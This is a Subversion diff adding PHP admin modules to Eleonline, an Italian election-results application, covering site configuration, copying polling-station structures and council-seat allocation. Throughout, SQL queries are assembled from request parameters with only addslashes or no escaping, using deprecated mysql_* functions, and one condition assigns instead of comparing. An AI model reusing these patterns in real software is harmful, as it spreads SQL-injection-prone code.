+				$sqlset='';
+      				$result = mysql_query("insert into ".$prefix."_ele_conf(id_conf,descrizione, limite,consin,infpremio,supsbarramento,suppremio,listinfsbar,listinfconta,listsupconta,infminpremio,supminpremio) values ('$id_conf','$descrizione','$limite','$consin','$infpremio','$supsbarramento','$suppremio','$listinfsbar','$listinfconta','$listsupconta','$infminpremio','$supminpremio')", $dbi) || die("Errore di aggiornamento dei dati!".mysql_error());
+           			if (!$result) return;
+           			Header("Location: admin.php?op=confconsiglio&id_cons_gen=$id_cons_gen&min=$min");
+     			} else {
+        			ele();
+        			OpenTable();
+				echo "<center>"._GESTIONE." "._CONF." ";
+        			echo "<br><br><a href=\"admin.php?op=confconsiglio&amp;id_cons_gen=$id_cons_gen\">"._IMM." "._CONF."</a></center>";
+				CloseTable();
+     			}
+   		} elseif ($do == "update") {
+			$result = mysql_query("update  ".$prefix."_ele_conf set descrizione='$descrizione', limite='$limite', consin='$consin', infpremio='$infpremio', supsbarramento='$supsbarramento', suppremio='$suppremio', listinfsbar='$listinfsbar', listinfconta='$listinfconta', listsupconta='$listsupconta', infminpremio='$infminpremio', supminpremio='$supminpremio' where id_conf='$id_conf' ", $dbi) || die("Errore di aggiornamento dei dati!".mysql_error());
+			Header("Location: admin.php?op=confconsiglio&id_cons_gen=$id_cons_gen&min=$min");
+   		}
+
+	}
+}
+
+if ($do and $do!="modify")
+	confcons($ok, $do);
+ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+
+
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_configurazione.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_configurazione.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_configurazione.php	(revision 44)
@@ -0,0 +1,193 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo gruppo                                                        */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+// Offset - visualizza il numero di elementi per pagina
+$offset=5;
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];	
+$perms=ChiSei($id_cons_gen);
+if ($perms<32) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+
+$id_comune=$_SESSION['id_comune'];
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune' " , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['blocco'])) get_magic_quotes_gpc() ? 
+$blocco=$param['blocco']:$blocco=addslashes($param['blocco']); else $blocco='';
+if (isset($param['tema2'])) get_magic_quotes_gpc() ? $tema2=$param['tema2']:$tema2=addslashes($param['tema2']); else $tema2='';
+if (isset($param['multicomune'])) get_magic_quotes_gpc() ? $multicomune=$param['multicomune']:$multicomune=addslashes($param['multicomune']); else $multicomune='';
+if (isset($param['fileout'])) get_magic_quotes_gpc() ? $fileout=$param['fileout']:$fileout=addslashes($param['fileout']); else $fileout='';
+if (isset($param['prefix2'])) get_magic_quotes_gpc() ? $prefix2=$param['prefix2']:$prefix2=addslashes($param['prefix2']); else $prefix2='';
+if (isset($param['adminmail'])) get_magic_quotes_gpc() ? $adminmail=$param['adminmail']:$adminmail=addslashes($param['adminmail']); else $adminmail='';
+if (isset($param['siteurl'])) get_magic_quotes_gpc() ? $siteurl=$param['siteurl']:$siteurl=addslashes($param['siteurl']); else $siteurl='';
+if (isset($param['sitename'])) get_magic_quotes_gpc() ? $sitename=$param['sitename']:$sitename=addslashes($param['sitename']); else $sitename='';
+if (isset($param['siteistat'])) get_magic_quotes_gpc() ? $siteistat=$param['siteistat']:$siteistat=addslashes($param['siteistat']); else $siteistat='';
+if (isset($param['language2'])) get_magic_quotes_gpc() ? $language2=$param['language2']:$language2=addslashes($param['language2']); else $language2='';
+if (isset($param['flash2'])) get_magic_quotes_gpc() ? $flash2=$param['flash2']:$flash2=addslashes($param['flash2']); else $flash2='';
+if (isset($param['displayerrors'])) $displayerrors=intval($param['displayerrors']); else $displayerrors='0';
+
+if (isset($param['gkey'])) get_magic_quotes_gpc() ? $gkey=$param['gkey']:$gkey=addslashes($param['gkey']); else $gkey='';
+if (isset($param['ed_user'])) get_magic_quotes_gpc() ? $ed_user=$param['ed_user']:$ed_user=addslashes($param['ed_user']); else $ed_user='';
+if (isset($param['googlemaps'])) $googlemaps=intval($param['googlemaps']); else $googlemaps='0';
+if (isset($param['editor'])) $editor=intval($param['editor']); else $editor='0';
+if (isset($param['tema_on'])) $tema_on=intval($param['tema_on']); else $tema_on='0';
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+	function all() {
+   		global $tipo_cons,$param,$currentlang, $bgcolor1, $bgcolor2, $prefix, $prefix2, $dbi, $offset, $min, $id_cons,$id_cons_gen,$id_comune,$do,$tema;
+		global $gkey,$ed_user,$googlemaps,$editor,$tema_on;
+//		$restemp = mysql_query("select count(0) from ".$prefix."_ele_conf where tema='$tema'", $dbi);
+//		list($numtemp)=mysql_fetch_row($restemp);
+
+
+
+	//-----------------------visualizza riga superiore per inserimento -
+	echo "<form name=\"gruppo2\" enctype=\"multipart/form-data\" method=\"post\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"confconsiglio\">";
+	$resl = mysql_query("SELECT * FROM ".$prefix."_config", $dbi);
+	$gru=mysql_fetch_array($resl);
+	echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+	echo "<input type=\"hidden\" name=\"op\" value=\"configurazione\">";
+	echo "<br><table border=\"0\" width=\"100%\">";
+	echo "<tr bgcolor=\"$bgcolor2\"><td colspan=\"4\" align=\"center\"><b>"._CONFIGDEFAULT."</b></td></tr><tr><td>&nbsp</td></tr>";
+	echo "<tr><td>";
+	$sel= ($gru['tema_on']==1) ? "selected":"";
+	echo "<b>"._TEMAATTIVO."</b></td><td><select name=\"tema_on\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td>";
+	echo "<td>";
+	echo "<b>"._TEMA."</b></td>";
+ ########## 
+	$resmod = mysql_query("SELECT tema FROM ".$prefix."_ele_temi order by tema", $dbi);
+
+	echo "<td><select name=\"tema2\"><option value=\"\">";
+	while (list($desc) = mysql_fetch_row($resmod)){
+			if (!$gru['tema']) $gru['tema']=$desc;
+			$sel= ($gru['tema']==$desc) ? "selected":"";
+			echo "<option value=\"".$desc."\" $sel>".$desc;
+		}
+	echo "</select></td></tr>";
+	$sel= ($gru['blocco']==1) ? "selected":"";
+	echo "<tr><td><b>"._BLOCCO."</b></td><td><select name=\"blocco\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td>";
+	$sel= ($gru['flash']==1) ? "selected":"";
+	echo "<td><b>"._FLASH."</b></td><td><select name=\"flash2\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td>";
+	echo "</tr>";
+	$sel= ($gru['multicomune']==1) ? "selected":"";
+	echo "<tr><td><b>"._MULTICOMUNE."</b></td><td><select name=\"multicomune\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td>";
+//	echo "<td><b>"._FILEOUT."</b></td><td><input type=\"text\" name=\"fileout\">".$gru['fileout']."</td>";
+#	echo "</tr>"
+#	."<tr><td><b>"._PREFIX."</b></td><td><input type=\"text\" name=\"prefix2\" value=\"".$gru['prefix']."\"></td>"
+	echo "<td><b>"._ADMINMAIL."</b></td><td><input type=\"text\" name=\"adminmail\" value=\"".$gru['adminmail']."\"></td></tr>"
+	."<tr><td><b>"._SITEURL."</b></td><td><input type=\"text\" name=\"siteurl\" value=\"".$gru['siteurl']."\"></td>";
+	echo"<td><b>"._TESTATA."</b></td>";
+	echo "<td><input type=\"file\" name=\"sitelogo\" size=\"10\"></td></tr>";
+#	echo"<td><b>"._SITENAME."</b></td><td><input type=\"text\" name=\"sitename\" value=\"".$gru['sitename']."\"></td></tr>";
+	$resmod = mysql_query("SELECT id_comune,descrizione FROM ".$prefix."_ele_comuni order by descrizione", $dbi);
+	echo "<tr><td><b>"._SITEISTAT."</b></td>";
+	echo "<td><select name=\"siteistat\"><option value=\"\">";
+	while (list($id_comune2,$desc) = mysql_fetch_row($resmod)){
+			if (!$gru['siteistat']) $gru['siteistat']=$id_comune2;
+			$sel= ($gru['siteistat']==$id_comune2) ? "selected":"";
+			echo "<option value=\"".$id_comune2."\" $sel>".$desc;
+		}
+	echo "</select></td>";
+
+##########
+	echo "<td><b>"._LANGUAGE."</b></td><td><input type=\"text\" name=\"language2\" value=\"".$gru['language']."\"></td></tr>";
+	$sel= ($gru['googlemaps']==1) ? "selected":"";
+	echo "<tr><td><b>"._GOOGLEMAPS."</b></td><td><select name=\"googlemaps\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td>";
+	echo "<td><b>"._GKEY."</b></td><td><input type=\"text\" name=\"gkey\" value=\"".$gru['gkey']."\"></td></tr>";
+	$sel= ($gru['editor']==1) ? "selected":"";
+	echo "<tr><td><b>"._EDITOR."</b></td><td><select name=\"editor\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td>";
+	echo "<td><b>"._EDUSER."</b></td>";
+	echo "<td><select name=\"ed_user\">";
+	$sel=$gru['ed_user']=='Admin'? "selected":"";
+			echo "<option value=\"Admin\" $sel>Admin";
+	$sel=$gru['ed_user']=='User'? "selected":"";
+			echo "<option value=\"User\" $sel>User";
+	$sel=$gru['ed_user']=='Eleonline'? "selected":"";
+			echo "<option value=\"Eleonline\" $sel>Eleonline</td></tr>";
+
+	echo "<tr>";
+
+#	$sel= ($gru['displayerrors']==1) ? "selected":"";
+#	echo "<td><b>"._DISPLAYERRORS."</b></td><td><select name=\"displayerrors\"><option value=\"0\">No<option value=\"1\" $sel>Si</select>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<td><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td>";
+	echo "</tr>";
+	echo "</table>";
+	echo "</form><br>";
+
+	}
+
+//***********************************************************
+//Funzione di inserimento e gestione dei gruppi
+//************************************************************
+
+function confcons() {
+	
+	global $id_cons_gen, $prefix, $dbi, $blocco,$tema2,$multicomune,$fileout,$prefix2,$adminmail,$siteurl,$sitename,$siteistat,$language2,$flash2,$displayerrors;
+	global $gkey,$ed_user,$googlemaps,$editor,$tema_on;
+
+	$aid=$_SESSION['aid'];
+	$perms=ChiSei($id_cons_gen);
+	if ($perms >128) {
+				$stemmablob='';
+				$stemmanome='';
+				$STEMM=$_FILES['sitelogo'];
+				$filestemma=$STEMM['tmp_name'];
+				$nomestemma=$STEMM['name'];
+				$sqlset='';
+				if ($filestemma){
+					$fdstemma = fopen ("$filestemma", "rb");
+					$stemmacontents = fread ($fdstemma, filesize ("$filestemma"));
+					fclose ($fdstemma);
+					$stemmablob=addslashes($stemmacontents);
+					$stemmanome=addslashes($nomestemma);
+				}
+#displayerrors='$displayerrors', 
+#per il momento non Ãš usato: , site_logo='$site_logo'
+		$result = mysql_query("update  ".$prefix."_config set testata='$stemmablob', nome_testata='$stemmanome', blocco='$blocco', multicomune='$multicomune', language='$language2', siteistat='$siteistat', adminmail='$adminmail', sitename='$sitename', siteurl='$siteurl', flash='$flash2', tema='$tema2',gkey='$gkey',ed_user='$ed_user',googlemaps='$googlemaps',editor='$editor',tema_on='$tema_on' ", $dbi) || die("Errore di aggiornamento dei dati!".mysql_error());
+	if ($tema2=='facebook')
+		$_SESSION['tema']=$tema2;
+	else $_SESSION['tema']='default';
+		Header("Location: admin.php?id_cons_gen=$id_cons_gen");
+
+	}
+}
+
+if ($do and $do="modify")
+	confcons();
+
+ele();
+
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+
+
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_cons_comuni.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_cons_comuni.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_cons_comuni.php	(revision 44)
@@ -0,0 +1,217 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo definiione consultazione                                      */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+if($param)
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$vari= implode(',',$param);
+$id_cons_gen=$_GET['id_cons_gen'];
+$id_comune=$_SESSION['id_comune'];
+$perms=ChiSei(0);
+if ($perms<64 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT tipo_cons,descrizione FROM ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen' " , $dbi);
+list($tipo_cons,$descr_cons) = mysql_fetch_row($res);
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['id_cons2'])) $id_cons2=intval($param['id_cons2']); else $id_cons2='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['duplica'])) $duplica=intval($param['duplica']); else $duplica='';
+if (isset($param['elettori'])) get_magic_quotes_gpc() ? $elettori=$param['elettori']:$elettori=addslashes($param['elettori']); else $elettori='';
+if (isset($param['predefinita'])) $predefinita=intval($param['predefinita']); else $predefinita='';
+
+$offset=10;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+function all() {
+global $bgcolor1, $bgcolor2,  $bgcolor6, $prefix, $dbi, $offset, $min, $id_cons,$id_cons2, $id_comune,$descr_cons,$id_cons_gen,$perms;
+
+	$res = mysql_query("SELECT id_cons FROM ".$prefix."_ele_comuni where id_comune=$id_comune", $dbi);
+	if (isset($res)) list($idpred) = mysql_fetch_row($res); else $idpred='';
+	$res = mysql_query("SELECT t1.id_cons, t2.descrizione FROM ".$prefix."_ele_cons_comune as t1 left join ".$prefix."_ele_consultazione as t2 on t1.id_cons_gen=t2.id_cons_gen where t1.id_comune='$id_comune' " , $dbi);
+	$max = mysql_num_rows($res);
+	echo "<table border=\"0\" width=\"100%\" align=\"left\"><tr><td>";
+	echo "<form name=\"imppred\" action=\"admin.php\">";
+	echo "<table border=\"0\"><tr><td bgcolor=\"$bgcolor1\">"
+   	."&nbsp;<b>"._CONSPRED."</b>&nbsp;</td><td><select name=\"predefinita\">";
+	echo "<option value=\"\">";
+	while($arr=mysql_fetch_array($res,3)){
+		$sel='';
+		if (($idpred))
+			$sel= ($arr['id_cons'] == $idpred) ? "selected":"";
+		echo "<option value=\"".$arr['id_cons']."\" $sel>".$arr['descrizione'];
+		}
+	echo "</select></td><td>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"op\" value=\"cons_comuni\">";
+	echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+	echo "<input type=\"submit\" name=\"add\" value=\""._OK."\"></td>";
+	echo "</tr></table></form></td></tr></table><hr>";
+
+	echo "<center><font class=\"title\"><b><BR>"._COPIA." "._LA." "._STRUTTURA." "._DA." $descr_cons</b></font><br><br><table border=\"0\" width=\"100%\">"
+   	."<tr><td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._DESCR."</b>&nbsp;</td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._DATAIN."</b>&nbsp;</td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._DATAFINE."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._COPIA." "._NUM." "._ELETTORI."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+	$result = mysql_query("select t2.chiusa,t2.id_cons,t1.* from ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_tipo as t3 where t1.tipo_cons=t3.tipo_cons and t2.id_comune='$id_comune' and t1.id_cons_gen=t2.id_cons_gen and t2.id_cons!=$id_cons ORDER BY data_fine desc LIMIT $min,$offset", $dbi);
+	$i=0;
+	while(list($chiusa,$id_cons2,$idconsgen2, $descr_cons, $data_inizio, $data_fine,$tipo) = mysql_fetch_row($result)) {
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		$ressez = mysql_query("select count(id_cons) from ".$prefix."_ele_sezioni where id_cons='$id_cons2'", $dbi);
+		list($somma)=mysql_fetch_row($ressez);
+		$data_inizio=form_data($data_inizio);$data_fine=form_data($data_fine);
+		echo "<tr bgcolor=\"$bgcolor1\" align=\"center\" ><td align=\"left\" ><a href=\"admin.php?op=cons_comuni&amp;id_cons_gen=$idconsgen2\"><b>$descr_cons</b></a></td>"
+		."<td>$data_inizio</td>"
+		."<td>$data_fine</td>";
+		if ($somma==0){
+			$i++;
+			echo "<form name=\"scelta$i\" action=\"admin.php\">";
+			echo "<td align=\"center\"><select name=\"elettori\">";
+			echo "<option value=\"false\">"._NO."</option>";
+			echo "<option value=\"true\">"._SI."</option>";
+			echo "</select></td>";
+			echo "<input type=\"hidden\" name=\"op\" value=\"cons_comuni\">";
+			echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+			echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+			echo "<input type=\"hidden\" name=\"id_cons2\" value=\"$id_cons2\">";
+			echo "<td align=\"center\"><input type=\"submit\" value=\""._POPOLA."\"></td>";
+			echo "</form>";
+		}elseif($perms==256){
+			$i++;
+			echo "<form name=\"scelta$i\" action=\"admin.php\">";
+			echo "<td align=\"center\">Aggiorna il numero elettori</td>";
+			echo "<input type=\"hidden\" name=\"op\" value=\"cons_comuni\">";
+			echo "<input type=\"hidden\" name=\"do\" value=\"elettori\">";
+			echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+			echo "<input type=\"hidden\" name=\"id_cons2\" value=\"$id_cons2\">";
+			echo "<td align=\"center\"><input type=\"submit\" value=\""._UPDATE."\"></td>";
+			echo "</form>";
+		
+		}
+		echo "</tr>";
+	}
+	echo "</table></center>";
+	#'Pagina precedente' e 'Pagina Successiva'
+	echo "<table align=\"center\" width=\"100%\" bgcolor=\"$bgcolor1\"><tr>";
+	$prev=$min-$offset;
+	if ($prev>=0) {
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor2\"><a href=\"admin.php?op=cons_comuni&amp;id_cons_gen=$id_cons_gen&amp;min=$prev\">";
+		echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+	}
+	
+	$next=$min+$offset;
+	if ($next>=($offset-1)) {
+		if($next>=$max) $next = $max;
+		else {
+			echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor2\"><a href=\"admin.php?op=cons_comuni&amp;id_cons_gen=$id_cons_gen&amp;min=$next\">";
+			echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+		}
+	}
+	echo "</tr></table><br>";
+}
+
+
+
+function cons_comuni($ok, $id_cons2,$do, $duplica,$elettori) 
+{
+ global $prefix, $dbi,$id_comune,$id_cons_gen,$perms,$predefinita;
+if ($perms>32) {
+	$sql="select id_cons from ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' and id_comune=$id_comune";
+	$res=mysql_query("$sql",$dbi);
+	list($id_consulta)=mysql_fetch_row($res);
+	$sql="select t1.descrizione from ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t2.id_cons='$id_cons2' and t1.id_cons_gen=t2.id_cons_gen";
+	$res=mysql_query("$sql",$dbi);
+	list($descr_cons2)=mysql_fetch_row($res);
+	if ($do == "add") {
+		if ($id_cons2) {
+			// copia circoscrizione
+			$res=mysql_query("select * from ".$prefix."_ele_circoscrizione where id_cons='$id_consulta'", $dbi);
+			while (list($id,$idcirc,$num,$des)=mysql_fetch_row($res)){
+ $resconnew=mysql_query("select count(0) from ".$prefix."_ele_circoscrizione where id_cons='$id_cons2' and num_circ='$num'", $dbi);
+list($contr_circ)=mysql_fetch_row($resconnew);
+if (! $contr_circ){
+				mysql_query("insert into ".$prefix."_ele_circoscrizione (id_cons,num_circ,descrizione) values ('$id_cons2',$num,'$des')", $dbi) || die("Impossibile inserire i dati delle circoscrizioni! ".mysql_error());
+}
+				$res0=mysql_query("select id_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons2 and num_circ=$num", $dbi);
+				list($id_circ)=mysql_fetch_row($res0);
+				// copia sede
+				$res1=mysql_query("select * from ".$prefix."_ele_sede where id_cons='$id_consulta' and id_circ='$idcirc'", $dbi);
+				while(list($id1,$idsede1,$idcirc1,$ind,$tel,$tel2,$fax,$resp,$mappa2,$filemappa)=mysql_fetch_row($res1)){
+					$mappa=addslashes($mappa2);
+ $ressednew=mysql_query("select count(0) from ".$prefix."_ele_sede where id_cons='$id_cons2' and indirizzo='$ind'", $dbi);
+list($contr_sed)=mysql_fetch_row($ressednew);
+if (! $contr_sed){
+					mysql_query("insert into ".$prefix."_ele_sede (id_cons,id_circ,indirizzo,telefono1,telefono2,fax,responsabile,mappa,filemappa) values ('$id_cons2','$id_circ','$ind','$tel','$tel2','$fax','$resp','$mappa','$filemappa')", $dbi) || die("Impossibile inserire i dati delle sedi! ".mysql_error());
+}
+					$res2=mysql_query("select id_sede from ".$prefix."_ele_sede where id_cons=$id_cons2 and id_circ=$id_circ and indirizzo='$ind'", $dbi);
+					list($id_sede)=mysql_fetch_row($res2);
+					//copia sezione
+					$res3=mysql_query("select * from ".$prefix."_ele_sezioni where id_cons=$id_consulta and id_sede=$idsede1", $dbi);
+					while (list($id3,$idsez3,$idsede3,$numero,$maschi3,$femmine3,$validi3,$nulli3,
+						$bianchi3,$contest3,$sg3,$aut_m,$aut_f)=mysql_fetch_row($res3)){
+						if ($elettori=='true') $sql="insert into ".$prefix."_ele_sezioni (id_cons,id_sede,num_sez,maschi,femmine) values ('$id_cons2','$id_sede','$numero','$maschi3','$femmine3')";
+						else $sql="insert into ".$prefix."_ele_sezioni (id_cons,id_sede,num_sez) values ('$id_cons2','$id_sede','$numero')";
+						mysql_query("$sql", $dbi) || die("Impossibile inserire i dati delle sezioni! ".mysql_error());
+					}
+				}
+			}
+	#		Header("Location: admin.php?op=cons_comuni&id_cons_gen=$id_cons_gen");
+		}
+	}
+	if ($do == "elettori") {
+		if ($ok !="1") {
+			ele();
+			echo "<center><br><br>"._DOMAGGIORNA." Consultazione $descr_cons2 ?<br>";
+			echo "[ <a href=\"admin.php?op=cons_comuni&amp;id_cons_gen=$id_cons_gen\">"._NO."</a> ] - [<a href=\"admin.php?op=cons_comuni&amp;do=elettori&amp;id_cons_gen=$id_cons_gen&amp;id_cons2=$id_cons2&amp;ok=1\">"._YES."</a> ]";exit;
+		}else{
+		$result = mysql_query("update ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sezioni as t2 set t1.maschi=t2.maschi, t1.femmine=t2.femmine WHERE t1.id_cons=$id_cons2 and t2.id_cons=$id_consulta and t1.num_sez=t2.num_sez", $dbi);
+		if (!$result) return;
+		Header("Location: admin.php?op=cons_comuni&id_cons_gen=$id_cons_gen");
+		}
+   	} 
+	if ($do == "update") {
+		if ($predefinita) 
+			$result = mysql_query("update  ".$prefix."_ele_comuni set  id_cons='$predefinita' WHERE id_comune='$id_comune'", $dbi);
+		else
+			$result = mysql_query("update  ".$prefix."_ele_cons_comune set  chiusa='$chiusa' WHERE id_cons2='$id_cons2'", $dbi);
+		if (!$result) return;
+		Header("Location: admin.php?op=cons_comuni&id_cons_gen=$id_cons_gen");
+   	} 
+}
+}
+
+function help_cons()
+{
+//da mettere
+}
+
+if ($do) {
+	cons_comuni($ok, $id_cons2,$do, $duplica, $elettori);
+}
+ele();
+//OpenTable();
+all();
+CloseTable();
+include("footer.php");
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consiglieri.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consiglieri.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consiglieri.php	(revision 44)
@@ -0,0 +1,585 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo eletti                                                       */
+/* Amministrazione                                                     */
+/************************************************************************/
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+//$limite=5; //fascia di separazione del maggioritario
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);
+$perms=ChiSei($id_cons_gen);
+if ($perms<32 or !$id_cons_gen) die("$id_cons_gen -Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+include("modules/Elezioni/ele.php");
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+if (isset($param['gruppo'])) $gruppo=intval($param['gruppo']); else $gruppo='';
+if (isset($param['numgruppo'])) $numgruppo=intval($param['numgruppo']); else $numgruppo='';
+if (isset($param['listecol'])) $listecol=intval($param['listecol']); else $listecol=0;
+ele();
+$collegate= array();
+for ($x=1;$x<=$listecol;$x++)
+    if ($param[$x]=='on') array_push($collegate,$x);
+$collperd= array();
+for ($x=1;$x<=$listecolper;$x++)
+    if ($param[$x]=='on') array_push($collperd,$x);
+if (mysql_num_rows($res)){
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+$result = mysql_query("select fascia, capoluogo from ".$prefix."_ele_comuni where id_comune='$id_comune'", $dbi);
+list($fascia,$capoluogo) = mysql_fetch_row($result);
+if (!$gruppo){
+	$res_val = mysql_query("SELECT sum(validi) from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+	list($validi) = mysql_fetch_row($res_val);
+	$res_lis = mysql_query("SELECT t1.num_gruppo,sum(t2.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_voti_gruppo as t2 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo group by t1.num_gruppo order by t1.num_gruppo",$dbi);
+	while (list($num_gruppo,$voti)= mysql_fetch_row($res_lis)){
+		if ($voti>($validi/2)) {$gruppo=$num_gruppo;break;}
+	}
+}
+if($fascia<6 and $capoluogo) $fascia=6;
+if ($fascia<$limite) consmin($fascia);
+elseif ($gruppo>0) conssup($fascia,$gruppo,$collegate,$collperd);
+elseif ($numgruppo>0){
+	echo "<form name=\"gruppo\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"consiglieri\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<br>";
+	echo "<table><tr><td bgcolor=\"$bgcolor1\"><b>"._GRUVIN."</b></td>";
+	$res = mysql_query("SELECT id_gruppo,descrizione FROM ".$prefix."_ele_gruppo where id_cons='$id_cons' and num_gruppo=$numgruppo", $dbi);
+	list($idgruppo, $descr_gruppo) = mysql_fetch_row($res);
+        echo "<td bgcolor=\"$bgcolor1\"><b>$descr_gruppo</b></td></tr></table>";
+        $res_lis = mysql_query("SELECT num_lista,descrizione from ".$prefix."_ele_lista where id_cons='$id_cons' and id_gruppo!=$idgruppo",$dbi);
+        echo "Selezionare le liste collegate al secondo turno <table>";
+        $x=0;
+        while(list($num_lista,$descr) = mysql_fetch_row($res_lis)) {
+            echo "<tr><td>$num_lista</td><td>$descr</td><td><input type=\"checkbox\" name=\"$num_lista\" ></td></tr>";
+            if ($num_lista>$x) $x=$num_lista;
+        }
+        echo "<tr><td><input type=\"hidden\" name=\"listecol\" value=\"$x\"><input type=\"hidden\" name=\"gruppo\" value=\"$numgruppo\">";
